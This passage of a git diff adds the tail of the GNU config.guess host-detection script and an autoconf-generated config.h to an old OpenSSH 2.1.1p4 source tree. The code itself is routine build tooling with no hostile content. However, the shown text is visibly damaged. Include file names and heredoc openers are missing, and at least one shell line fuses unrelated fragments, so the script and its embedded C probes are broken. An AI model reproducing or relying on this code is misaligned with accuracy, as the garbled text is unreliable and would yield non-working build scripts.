$dummy + esac + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit 0 ;; + 3050*:HI-UX:*:*) + sed 's/^ //' << EOF >$dummy.c + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo unknown-hitachi-hiuxwe2 + exit 0 ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit 0 ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit 0 ;; + *9??*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit 0 ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit 0 ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit 0 ;; + i?86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit 0 ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit 0 ;; + hppa*:OpenBSD:*:*) + echo hppa-unknown-openbsd + exit 0 ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit 0 ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit 0 ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit 0 ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit 0 ;; + CRAY*X-MP:*:*:*) + echo xmp-cray-unicos + exit 0 ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} + exit 0 ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ + exit 0 ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*T3E:*:*:*) + echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY-2:*:*:*) + echo cray2-cray-unicos + exit 0 ;; + F300:UNIX_System_V:*:*) + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "f300-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + F301:UNIX_System_V:*:*) + echo f301-fujitsu-uxpv`echo $UNAME_RELEASE | sed 's/ .*//'` + exit 0 ;; + hp300:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + i?86:BSD/386:*:* | i?86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit 0 ;; + sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:FreeBSD:*:*) + echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + *:OpenBSD:*:*) + echo ${UNAME_MACHINE}-unknown-openbsd`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + exit 0 ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit 0 ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit 0 ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i386-pc-interix + exit 0 ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit 0 ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit 0 ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + *:GNU:*:*) + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit 0 ;; + *:Linux:*:*) + + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + ld_help_string=`cd /; ld --help 2>&1` + ld_supported_emulations=`echo $ld_help_string \ + | sed -ne '/supported emulations:/!d + s/[ ][ ]*/ /g + s/.*supported emulations: *// + s/ .*// + p'` + case "$ld_supported_emulations" in + *ia64) + echo "${UNAME_MACHINE}-unknown-linux" + exit 0 + ;; + i?86linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit 0 + ;; + elf_i?86) + echo "${UNAME_MACHINE}-pc-linux" + exit 0 + ;; + i?86coff) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit 0 + ;; + sparclinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + armlinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + elf32arm*) + echo "${UNAME_MACHINE}-unknown-linux-gnuoldld" + exit 0 + ;; + armelf_linux*) + echo "${UNAME_MACHINE}-unknown-linux-gnu" + exit 0 + ;; + m68klinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + elf32ppc | elf32ppclinux) + # Determine Lib Version + cat >$dummy.c < +#if defined(__GLIBC__) +extern char __libc_version[]; +extern char __libc_release[]; +#endif +main(argc, argv) + int argc; + char *argv[]; +{ +#if defined(__GLIBC__) + printf("%s %s\n", __libc_version, __libc_release); +#else + printf("unkown\n"); +#endif + return 0; +} +EOF + LIBC="" + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null + if test "$?" = 0 ; then + ./$dummy | grep 1\.99 > /dev/null + if test "$?" = 0 ; then + LIBC="libc1" + fi + fi + rm -f $dummy.c $dummy + echo powerpc-unknown-linux-gnu${LIBC} + exit 0 + ;; + shelf_linux) + echo "${UNAME_MACHINE}-unknown-linux-gnu" + exit 0 + ;; + esac + + if test "${UNAME_MACHINE}" = "alpha" ; then + cat <$dummy.s + .data + \$Lformat: + .byte 37,100,45,37,120,10,0 # "%d-%x\n" + + .text + .globl main + .align 4 + .ent main + main: + .frame \$30,16,\$26,0 + ldgp \$29,0(\$27) + .prologue 1 + .long 0x47e03d80 # implver \$0 + lda \$2,-1 + .long 0x47e20c21 # amask \$2,\$1 + lda \$16,\$Lformat + mov \$0,\$17 + not \$1,\$18 + jsr \$26,printf + ldgp \$29,0(\$26) + mov 0,\$16 + jsr \$26,exit + .end main +EOF + LIBC="" + $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null + if test "$?" = 0 ; then + case `./$dummy` in + 0-0) + UNAME_MACHINE="alpha" + ;; + 1-0) + UNAME_MACHINE="alphaev5" + ;; + 1-1) + UNAME_MACHINE="alphaev56" + ;; + 1-101) + UNAME_MACHINE="alphapca56" + ;; + 2-303) + UNAME_MACHINE="alphaev6" + ;; + 2-307) + UNAME_MACHINE="alphaev67" + ;; + esac + + objdump --private-headers $dummy | \ + grep ld.so.1 > /dev/null + if test "$?" = 0 ; then + LIBC="libc1" + fi + fi + rm -f $dummy.s $dummy + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} ; exit 0 + elif test "${UNAME_MACHINE}" = "mips" ; then + cat >$dummy.c < /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif +#ifdef __MIPSEB__ + printf ("%s-unknown-linux-gnu\n", argv[1]); +#endif +#ifdef __MIPSEL__ + printf ("%sel-unknown-linux-gnu\n", argv[1]); +#endif + return 0; +} +EOF + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + elif test "${UNAME_MACHINE}" = "s390"; then + echo s390-ibm-linux && exit 0 + else + # Either a pre-BFD a.out linker (linux-gnuoldld) + # or one that does not give us useful --help. + # GCC wants to distinguish between linux-gnuoldld and linux-gnuaout. + # If ld does not provide *any* "supported emulations:" + # that means it is gnuoldld. + echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations:" + test $? != 0 && echo "${UNAME_MACHINE}-pc-linux-gnuoldld" && exit 0 + + case "${UNAME_MACHINE}" in + i?86) + VENDOR=pc; + ;; + *) + VENDOR=unknown; + ;; + esac + # Determine whether the default compiler is a.out or elf + cat >$dummy.c < +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif +#ifdef __ELF__ +# ifdef __GLIBC__ +# if __GLIBC__ >= 2 + printf ("%s-${VENDOR}-linux-gnu\n", argv[1]); +# else + printf ("%s-${VENDOR}-linux-gnulibc1\n", argv[1]); +# endif +# else + printf ("%s-${VENDOR}-linux-gnulibc1\n", argv[1]); +# endif +#else + printf ("%s-${VENDOR}-linux-gnuaout\n", argv[1]); +#endif + return 0; +} +EOF + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + fi ;; +# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. earlier versions +# are messed up and put the nodename in both sysname and nodename. + i?86:DYNIX/ptx:4*:*) + echo i386-sequent-sysv4 + exit 0 ;; + i?86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit 0 ;; + i?86:*:4.*:* | i?86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit 0 ;; + i?86:*:5:7*) + # Fixed at (any) Pentium or better + UNAME_MACHINE=i586 + if [ ${UNAME_SYSTEM} = "UnixWare" ] ; then + echo ${UNAME_MACHINE}-sco-sysv${UNAME_RELEASE}uw${UNAME_VERSION} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_RELEASE} + fi + exit 0 ;; + i?86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')` + (/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|egrep '^Machine.*Pent ?II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|egrep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit 0 ;; + i?86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit 0 ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit 0 ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit 0 ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit 0 ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit 0 ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit 0 ;; + M68*:*:R3V[567]*:*) + test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; + 3[34]??:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 4850:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4.3${OS_REL} && exit 0 + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4 && exit 0 ;; + m68*:LynxOS:2.*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit 0 ;; + i?86:LynxOS:2.*:* | i?86:LynxOS:3.[01]*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + rs6000:LynxOS:2.*:* | PowerPC:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit 0 ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + RM*:SINIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit 0 ;; + PENTIUM:CPunix:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + echo i586-unisys-sysv4 + exit 0 ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit 0 ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit 0 ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit 0 ;; + news*:NEWS-OS:*:6*) + echo mips-sony-newsos6 + exit 0 ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit 0 ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit 0 ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit 0 ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit 0 ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit 0 ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Darwin:*:*) + echo `uname -p`-apple-darwin${UNAME_RELEASE} + exit 0 ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + if test "${UNAME_MACHINE}" = "x86pc"; then + UNAME_MACHINE=pc + fi + echo `uname -p`-${UNAME_MACHINE}-nto-qnx + exit 0 ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit 0 ;; + NSR-W:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit 0 ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit 0 ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit 0 ;; +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +cat >$dummy.c < +# include +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +#if !defined (ultrix) + printf ("vax-dec-bsd\n"); exit (0); +#else + printf ("vax-dec-ultrix\n"); exit (0); +#endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy && rm $dummy.c $dummy && exit 0 +rm -f $dummy.c $dummy + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit 0 ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + c34*) + echo c34-convex-bsd + exit 0 ;; + c38*) + echo c38-convex-bsd + exit 0 ;; + c4*) + echo c4-convex-bsd + exit 0 ;; + esac +fi + +cat >&2 < in order to provide the needed +information to handle your system. + +config.guess version = $version + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "version='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/other/openssh-2.1.1p4/config.h b/other/openssh-2.1.1p4/config.h new file mode 100644 index 0000000..7c1f633 --- /dev/null +++ b/other/openssh-2.1.1p4/config.h @@ -0,0 +1,521 @@ +/* config.h. Generated automatically by configure. */ +/* config.h.in. Generated automatically from configure.in by autoheader. */ +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + + +/* Define as __inline if that's what the C compiler calls it. */ +/* #undef inline */ + +/* Define if your system defines sys_errlist[] */ +#define HAVE_SYS_ERRLIST 1 + +/* Define if your system choked on IP TOS setting */ +/* #undef IP_TOS_IS_BROKEN */ + +/* Define if you have the getuserattr function. */ +/* #undef HAVE_GETUSERATTR */ + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#define PAM_TTY_KLUDGE 1 + +/* Define if your snprintf is busted */ +/* #undef BROKEN_SNPRINTF */ + +/* Define if you are on NeXT */ +/* #undef HAVE_NEXT */ + +/* Define if you want to disable PAM support */ +/* #undef DISABLE_PAM */ + +/* Define if you want to enable AIX4's authenticate function */ +/* #undef WITH_AIXAUTHENTICATE */ + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +/* #undef WITH_IRIX_ARRAY */ + +/* Define if you want IRIX project management */ +/* #undef WITH_IRIX_PROJECT */ + +/* Define if you want IRIX audit trails */ +/* #undef WITH_IRIX_AUDIT */ + +/* Location of random number pool */ +#define RANDOM_POOL "/dev/urandom" + +/* Location of EGD random number socket */ +/* #undef EGD_SOCKET */ + +/* Builtin PRNG command timeout */ +#define ENTROPY_TIMEOUT_MSEC 200 + +/* Define if your ssl headers are included with #include */ +/* #undef HAVE_OPENSSL */ + +/* struct utmp and struct utmpx fields */ +#define HAVE_HOST_IN_UTMP 1 +#define HAVE_HOST_IN_UTMPX 1 +#define HAVE_ADDR_IN_UTMP 1 +#define HAVE_ADDR_IN_UTMPX 1 +#define HAVE_ADDR_V6_IN_UTMP 1 +#define HAVE_ADDR_V6_IN_UTMPX 1 +/* #undef HAVE_SYSLEN_IN_UTMPX */ +#define HAVE_PID_IN_UTMP 1 +#define HAVE_TYPE_IN_UTMP 1 +#define HAVE_TYPE_IN_UTMPX 1 +#define HAVE_TV_IN_UTMP 1 +#define HAVE_TV_IN_UTMPX 1 +#define HAVE_ID_IN_UTMP 1 +#define HAVE_ID_IN_UTMPX 1 +#define HAVE_EXIT_IN_UTMP 1 +/* #undef HAVE_TIME_IN_UTMP */ +/* #undef HAVE_TIME_IN_UTMPX */ + +/* Define if you don't want to use your system's login() call */ +/* #undef DISABLE_LOGIN */ + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +/* #undef DISABLE_PUTUTLINE */ + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +/* #undef DISABLE_PUTUTXLINE */ + +/* Define if you don't want to use lastlog */ +/* #undef DISABLE_LASTLOG */ + +/* Define if you don't want to use utmp */ +/* #undef DISABLE_UTMP */ + +/* Define if you don't want to use utmpx */ +#define DISABLE_UTMPX 1 + +/* Define if you don't want to use wtmp */ +/* #undef DISABLE_WTMP */ + +/* Define if you don't want to use wtmpx */ +#define DISABLE_WTMPX 1 + +/* Define if you want to specify the path to your lastlog file */ +/* #undef CONF_LASTLOG_FILE */ + +/* Define if you want to specify the path to your utmp file */ +/* #undef CONF_UTMP_FILE */ + +/* Define if you want to specify the path to your wtmp file */ +/* #undef CONF_WTMP_FILE */ + +/* Define if you want to specify the path to your utmpx file */ +/* #undef CONF_UTMPX_FILE */ + +/* Define if you want to specify the path to your wtmpx file */ +/* #undef CONF_WTMPX_FILE */ + +/* Define is libutil has login() function */ +#define HAVE_LIBUTIL_LOGIN 1 + +/* Define if libc defines __progname */ +#define HAVE___PROGNAME 1 + +/* Define if you want Kerberos 4 support */ +/* #undef KRB4 */ + +/* Define if you want AFS support */ +/* #undef AFS */ + +/* Define if you want S/Key support */ +/* #undef SKEY */ + +/* Define if you want TCP Wrappers support */ +/* #undef LIBWRAP */ + +/* Define if your libraries define login() */ +#define HAVE_LOGIN 1 + +/* Define if your libraries define daemon() */ +#define HAVE_DAEMON 1 + +/* Define if your libraries define getpagesize() */ +#define HAVE_GETPAGESIZE 1 + +/* Define if xauth is found in your path */ +#define XAUTH_PATH "/usr/X11R6/bin/xauth" + +/* Define if rsh is found in your path */ +#define RSH_PATH "/usr/bin/rsh" + +/* Define if you want to allow MD5 passwords */ +/* #undef HAVE_MD5_PASSWORDS */ + +/* Define if you want to disable shadow passwords */ +/* #undef DISABLE_SHADOW */ + +/* Define if you want to use shadow password expire field */ +/* #undef HAS_SHADOW_EXPIRE */ + +/* Define if you want have trusted HPUX */ +/* #undef HAVE_HPUX_TRUSTED_SYSTEM_PW */ + +/* Define if you have Digital Unix Security Integration Architecture */ +/* #undef HAVE_OSF_SIA */ + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +/* #undef HAVE_OLD_PAM */ + +/* Set this to your mail directory if you don't have maillock.h */ +#define MAIL_DIRECTORY "/var/spool/mail" + +/* Data types */ +#define HAVE_INTXX_T 1 +#define HAVE_U_INTXX_T 1 +/* #undef HAVE_UINTXX_T */ +#define HAVE_SOCKLEN_T 1 +#define HAVE_SIZE_T 1 +#define HAVE_SSIZE_T 1 +#define HAVE_MODE_T 1 +#define HAVE_PID_T 1 +#define HAVE_SA_FAMILY_T 1 +#define HAVE_STRUCT_SOCKADDR_STORAGE 1 +#define HAVE_STRUCT_ADDRINFO 1 +#define HAVE_STRUCT_IN6_ADDR 1 +#define HAVE_STRUCT_SOCKADDR_IN6 1 + +/* Fields in struct sockaddr_storage */ +/* #undef HAVE_SS_FAMILY_IN_SS */ +#define HAVE___SS_FAMILY_IN_SS 1 + +/* Define if you have /dev/ptmx */ +/* #undef HAVE_DEV_PTMX */ + +/* Define if you have /dev/ptc */ +/* #undef HAVE_DEV_PTS_AND_PTC */ + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +/* #undef IPADDR_IN_DISPLAY */ + +/* Specify default $PATH */ +/* #undef USER_PATH */ + +/* Specify location of ssh.pid */ +#define PIDDIR "/var/run" + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +/* #undef IPV4_DEFAULT */ + +/* getaddrinfo is broken (if present) */ +/* #undef BROKEN_GETADDRINFO */ + +/* Workaround more Linux IPv6 quirks */ +#define DONT_TRY_OTHER_AF 1 + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#define IPV4_IN_IPV6 1 + +/* The number of bytes in a char. */ +#define SIZEOF_CHAR 1 + +/* The number of bytes in a int. */ +#define SIZEOF_INT 4 + +/* The number of bytes in a long int. */ +#define SIZEOF_LONG_INT 4 + +/* The number of bytes in a long long int. */ +#define SIZEOF_LONG_LONG_INT 8 + +/* The number of bytes in a short int. */ +#define SIZEOF_SHORT_INT 2 + +/* Define if you have the __b64_ntop function. */ +/* #undef HAVE___B64_NTOP */ + +/* Define if you have the _getpty function. */ +/* #undef HAVE__GETPTY */ + +/* Define if you have the arc4random function. */ +/* #undef HAVE_ARC4RANDOM */ + +/* Define if you have the atexit function. */ +#define HAVE_ATEXIT 1 + +/* Define if you have the b64_ntop function. */ +/* #undef HAVE_B64_NTOP */ + +/* Define if you have the bcopy function. */ +#define HAVE_BCOPY 1 + +/* Define if you have the bindresvport_af function. */ +/* #undef HAVE_BINDRESVPORT_AF */ + 